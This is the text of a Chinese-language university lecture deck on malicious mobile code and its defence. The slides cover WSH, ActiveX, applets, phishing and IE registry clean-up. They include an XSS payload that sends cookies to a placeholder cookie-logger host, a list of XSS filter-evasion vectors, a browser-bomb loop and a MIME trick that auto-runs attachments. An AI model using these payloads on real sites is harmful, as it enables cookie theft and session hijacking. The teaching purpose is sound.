恶意软件(病毒)的分析与防范 Defence & analysis of malware 计算机学院 傅建明 Fujms@sina.com 2017/3/18 1
恶意移动代码 移动代码是一种小型程序,它可从远程系统下载并以最小限度调用或以不许用户介入的形式在本地执行。 Java applet/Java Script/ Visual Basic Scripts/ActiveX 恶意移动代码是一种让你的系统违背你意愿工作的移动代码。 2017/3/18 2
WSH WSH,利用脚本实现计算机工作的自动化 ,如管理文件/注册表/网络资源/系统的启动和关机等。 Example: dim newdir set newdir=wscript.createobject("scripting.filesystemobject") //com object for k=1 to 10 anewfolder="c:\chapter" & k newdir.createfolder(anewfolder) next 2017/3/18 3
WSH 一个脚本文件,后缀为 .VBS 或 .JS,然后在 Windows 下双击执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序就是Windows Scripting Host,程序执行文件名为Wscript.exe (若是在命令行下,则为 Cscript.exe) 2017/3/18 4
Java语言 应用程序(Application)和小应用程序(Applet):应用程序是可以独立运行的程序;而Applet不能独立运行,需要嵌入HTML文件,遵循一套约定 。 在WWW网页设计中加入动画、影像、音乐等,而要达到这些效果使用最多的是Java Applet和Java Script (这是一种Java的命令语言) 2017/3/18 5
ActiveX ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术。(OMG-CORBA/sun-J2EE) 在Applet中可以使用ActiveX技术,如直接嵌入ActiveX控制,或者以ActiveX技术为桥梁,将其它开发商提供的多种语言的程序对象集成到Java中。 2017/3/18 6
浏览器脚本 1 <script type="text/javascript"> function do_something() { // code for this function would go here } </script> 2 <script type="text/javascript“ src=“myscript.js”> 2017/3/18 7
浏览器脚本 资源枯竭 浏览器劫持 利用浏览器漏洞窃取Cookie值 跨站脚本攻击 <script>alert(document.cookie)</script> 2017/3/18 8
资源枯竭(网页炸弹) <img src=*******:location="网址文件名.htm;"> 2017/3/18 9
资源枯竭(网页炸弹) 1 <script type="text/javascript"> Function exploit(){ While(1) { showModelessDialog(“exploit.html”); } </script> 2017/3/18 10
资源枯竭(网页炸弹) 2017/3/18 11
资源枯竭(网页炸弹) 黑白交替的只需将“blue”换成“white”、“yellow”换成“black” 2017/3/18 12
资源枯竭(网页炸弹) 2017/3/18 13
资源枯竭(网页炸弹) 2017/3/18 14
浏览器劫持 脚本支持以下功能 与网页的其他成分交互 访问URL信息 打开新的窗口 四处拖动窗口 浏览器劫持:恶意脚本会滥用这些特权,它们会打开过多的窗口、使用户访问有害的站点、非法增加书签,甚至监控受害者的浏览活动。 Lettergo.htm(show) testjack.htm(show) 2017/3/18 15
跨站脚本攻击 http://website.tld/program.cgi?input=<script>document.location=’http://yoursite.tld /cgi-bin/evil_cookie_logger.cgi?’+document.cookie</script> 2017/3/18 16
把脚本引入HTML ((a href="javascript#[code]")) ((div onmouseover="[code]")) ((img src="javascript:[code]")) ((img dynsrc="javascript:[code]")) [IE] ((input type="image" dynsrc="javascript:[code]")) [IE] ((bgsound src="javascript:[code]")) [IE] &((script))[code]((/script)) &{[code]}; [N4] 2017/3/18 17
把脚本引入HTML ((img src=&{[code]};)) [N4] ((link rel="stylesheet" href="javascript:[code]")) ((iframe src="vbscript:[code]")) [IE] ((img src="mocha:[code]")) [N4] ((img src="livescript:[code]")) [N4] ((a href="about:((script))[code]((/script))")) 2017/3/18 18
把脚本引入HTML ((meta http-equiv="refresh" content="0;url=javascript:[code]")) ((body onload="[code]")) ((div style="background-image: url(javascript:[code]);")) ((div style="behaviour: url([link to code]);")) [IE] ((div style="binding: url([link to code]);")) [Mozilla] ((div style="width: expression([code]);")) [IE] 2017/3/18 19
把脚本引入HTML ((style type="text/javascript"))[code]((/style)) [N4] ((object classid="clsid:..." codebase="javascript:[code]")) [IE] ((style))((!--((/style))((script))[code]//--))((/script)) ((![CDATA[((!--]]))((script))[code]//--))((/script)) ((!-- -- --))((script))[code]((/script))((!-- -- --)) ((((script))[code]((/script)) ((img src="blah"onmouseover="[code]")) 2017/3/18 20
把脚本引入HTML ((img src="blah))" onmouseover="[code]")) ((xml src="javascript:[code]")) ((xml id="X"))((a))((b))<script))[code]</script));((/b))((/a))((/xml)) ((div datafld="b" dataformatas="html" datasrc="#X"))((/div)) [\xC0][\xBC]script))[code][\xC0][\xBC]/script)) [UTF-8; IE, Opera] 2017/3/18 21
预防XSS和脚本攻击 禁用脚本 防病毒软件 2017/3/18 22
恶意ActiveX控件 攻击者可以创建一个ActiveX控件,其中可以有病毒、蠕虫、特洛伊木马、Rootkit等。 归类为间谍软件的浏览器插件。 浏览器助手对象(browser helper objects,BHO) A Browser Helper Object, or BHO, is just a small program that runs automatically every time you start your Internet browser. 2017/3/18 23
ActiveX <object classid=“clsid:ssdsdsdsdc000” id=“agent” codebase=“#version=2.0.0.0” > </object> Microsoft agent: 插入可爱的卡通人物 Show: merlin.html 2017/3/18 24
攻击activeX 恶意的ActiveX控件,如恶意的agent(操作文件系统和网络) 使用脚本控制/执行恶意的代码 Show : chm_ok.html chm_ok2.html 2017/3/18 25
加密签名activeX 提供数字证书(VeriSign) 是否完全信任该控件 BHO BHO-show 2017/3/18 26
BHO查看工具 IE浏览器:“工具”—“管理加载项” 。 2017/3/18 27
防御ActiveX的威胁 2017/3/18 28
防御ActiveX的威胁 2017/3/18 29
Java Applets Java applet是一段用java编写的可以嵌入网页中的程序。 2017/3/18 30
Java Applets Java applet是一段用java编写的可以嵌入网页中的程序。 Applet.html-show 在sand-box中运行,不允许访问本地文件系统和网络资源 开放其sand-box,提供java.policy和签名 Trust? 2017/3/18 31
java.policy grant { permission java.net.SocketPermission "*:1024-65535", "connect,accept,resolve"; permission java.net.SocketPermission "*:1-1023", "connect,resolve"; }; 2017/3/18 32
防御恶意的Applet Toolsinternet optionssecuritycustom levelMicrosoft VMJava permissions Disable Java 2017/3/18 33
错误的MIME Multipurpose Internet Mail Extentions Content-Type: multipart/related; type="multipart/alternative“; boundary=”====B====“ --====B==== Content-Type: multipart/alternative; boundary=”====A====“ --====A==== Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --====A====-- --====B==== Content-Type: audio/x-wav; name=”run.exe“ ---可以改为其他脚本文件 Content-Transfer-Encoding: base64 Content-ID: ---以下省略AAAAA N+1个--- 当申明邮件 的类型为audio/x-wav时,IE存在的一个漏洞会将附件认为是音频文件自动尝试打开 2017/3/18 34
Email中的恶意代码 <script>alert(“Hi, There”)</script> <script>window.open(“www.sina.com.cn”) </script> 2017/3/18 35
防止Email中的恶意代码 Outlook Toolsoptionssecuritysecure content Zonerestricted sites Outlook express Toolsoptionssecuritysecurity Zonerestricted sites 2017/3/18 36
<img src="http://ad. doubleclick. net/ad/pixel <img src="http://ad.doubleclick.net/ad/pixel.quicken/NEW" width=1 height=1 border=0> Web Bugs A Web Bug is a graphics on a Web page or in an Email message that is designed to monitor who is reading the Web page or Email message. <img src="http://ad.doubleclick.net/ad/pixel.quicken/NEW" width=1 height=1 border=0> 2017/3/18 37
防止Web Bugs 关闭邮件程序的html功能 www.baxbex.com/nohtml.html 2017/3/18 38
URL欺骗 http://www.ibm.com&item=1234@www.fudan.edu.cn http://3633633987(216.148.218.195) http://www.toronto.com:ontario@3633633987/ http://www.ibm.com/outsidelinks/http://www.whu.edu.cn 2017/3/18 39
URL欺骗 http://e3i5.yeah.net/images/mm/plmm001.gif URL2: http://www.sina.com.cn@e3i5.yeah.net/images/mm/plmm001.gif 2017/3/18 40
URL欺骗的对策 注意URL的特定定义,如@意义,以及其他等价表示 注意本地域名缓存(cache, 如hosts) 2017/3/18 41
网络钓鱼(phishing) 网络诈骗者即“钓鱼者”;“钓饵”通常是充满急迫警告口吻的E-mail、伪装金融机构的网页、间谍软件等;网民的信用卡号、网络银行账号密码等敏感资料即是“待上钩的鱼”。 Ways:网络假广告,恶意网页,虚假的URL/域名 Show: phishing-ebay.eml 2017/3/18 42
网络钓鱼的预防 忽略电子邮件或是IM要求你提供个人或理财信息的内容 不要按下电子邮件或IM中的链接。如果要浏览网站,请直接在浏览器的地址列输入正确的URL 您的浏览器更新到最新版本 防毒软件(能有效过滤和封锁网络诈骗邮件和行为) 2017/3/18 43
防御恶意移动代码的其他方法 使用非超级用户 注意浏览器与email软件的漏洞和补丁 不要轻信activeX和applet 反病毒软件 行为监视软件(注册表/系统目录/更改浏览器设置/增加浏览器插件) 反间谍软件ad-aware, spybot-search&destroy(show)/spywareblaster 2017/3/18 44
Questions? 2017/3/18 45
感染现象 第一、电脑中的默认主页会被无故更改,并且IE工具栏内的修改功能被屏蔽掉; 第二、在电脑桌面上无故出现陌生网站的链接,无论怎么删除,每次开机都依旧会出现,如果单击鼠标右键,出现的工具栏中有也会有大量陌生网站的链接; 第三、开机后,无法进入DOS实模式; 仅对WIN 9X 系统; 第四、电脑桌面及桌面上的图标被隐藏; 第五、注册表编辑器被告知“已锁定”,从而无法修改注册表; 2017/3/18 46
感染现象 第六、上网之前,系统一切正常,下网之后系统就会出现异常情况,如系统盘丢失、硬盘遭到格式化等,查杀病毒后仍无济于事; 第七、上陌生网站后,出现提示框“您已经被XX病毒攻击”,之后系统出现异常 第八、登陆站点后,发现一个窗口迅速打开后又消失,自己的计算机系统文件夹内多了几个未知的好象是系统文件的新文件。 第九、发现系统的进程中多了几个未知进程,而且杀不掉,重起后又会出现。 第十、自己的计算机CPU利用率一直是高居100%,好象是在运行什么占用内存的东西。 2017/3/18 47
感染现象 第十一、登陆某站点后,杀毒监控软件报警,并删除病毒文件,位置在IE的缓冲区。重新启动计算机后发现自己的IE被改掉了。而且发现第八,第九,第十中的现象。 第十二、发现中毒后,反复杀毒,病毒反复复发,根本没办法清理干净。尤其是IE的默认页。杀毒后修复完毕,但重新启动后又出现问题。 第十三、会不定时的弹出广告。 第十四、自己的私有帐号无故丢失。 2017/3/18 48
基本预防手段 首先关键是不要轻易去一些自己并不十分知晓的站点,尤其是一些看上去非常美丽诱人的网址更不要轻易进入,否则往往不经易间就会误入网页代码的圈套。 在IE窗口中点击"工具→Internet选项,在弹出的对话框中选择"安全"标签,再点击"自定义级别"按钮,就会弹出"安全设置"对话框,把其中所有ActiveX插件和控件以及Java相关全部选择"禁用"即可。 2017/3/18 49
基本预防手段 禁用:点击“管理工具→服务→Remote Registry Service(允许远程注册表操作)” 升级你的IE为6.0版本并装上所有的SP以及追加的几个小补丁 安装病毒防火墙,一般的杀毒软件都自带.打开网页监控和脚本监控。 2017/3/18 50
清除 使用杀毒软件杀毒 清除每次开机时自动弹出的网页 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce 2017/3/18 51
清除 IE标题栏被修改: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title 2017/3/18 52
清除 篡改IE的默认页: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL 2017/3/18 53
清除 修复被锁定的注册表:recover.reg REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableRegistryTools"=dword:00000000 2017/3/18 54
清除 修改IE浏览器缺省主页,并且锁定设置项,禁止用户更改: HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel "Settings"=dword:1 HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel "Links"=dword:1 HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel "SecAddSites"=dword:1 解决办法:上面这些DWORD值改为“0”即可恢复功能 2017/3/18 55
清除 IE的默认首页灰色按扭不可选: 这是由于注册表HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel 下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”,被修改后为“1”(即为灰色不可选状态)。 解决办法:将“homepage”的键值改为“0”即可。 2017/3/18 56
清除 IE右键菜单被修改: 受到修改的注册表项目为: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt 下被新建了网页的广告信息,并由此在IE右键菜单中出现! 解决办法:打开注册标编辑器,找到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt 2017/3/18 57
清除 IE默认搜索引擎被修改 : HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant 解决办法: 运行注册表编辑器,依次展开上述子键,将“CustomizeSearch”和“SearchAssistant”的键值改为某个搜索引擎的网址即可 2017/3/18 58
清除 查看“源文件”菜单被禁用: HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer 下建立子键“Restrictions”,然后在“Restrictions”下面建立两个DWORD值: “NoViewSource”和“NoBrowserContextMenu”,并为这两个DWORD值赋值为“1” 2017/3/18 59
清除 系统启动时弹出对话框: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon 在其下被建立了字符串“LegalNoticeCaption”和“LegalNoticeText”,其中“LegalNoticeCaption”是提示框的标题,“LegalNoticeText”是提示框的文本内容。由于它们的存在,就使得我们每次登陆到Windwos桌面前都出现一个提示窗口,显示那些网页的广告信息 2017/3/18 60
清除 IE默认连接首页被修改 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page 2017/3/18 61
清除 IE中鼠标右键失效: 1.右键菜单被修改。打开注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt,删除相关的广告条文。 2.右键功能失效。打开注册表编辑器,展开到 HKEY_CURRENT_USER\Software\Policies\Microsoft\ Internet Explorer\Restrictions,将其DWORD值“NoBrowserContextMenu”的值改为0。 (gpedit.msc) 2017/3/18 62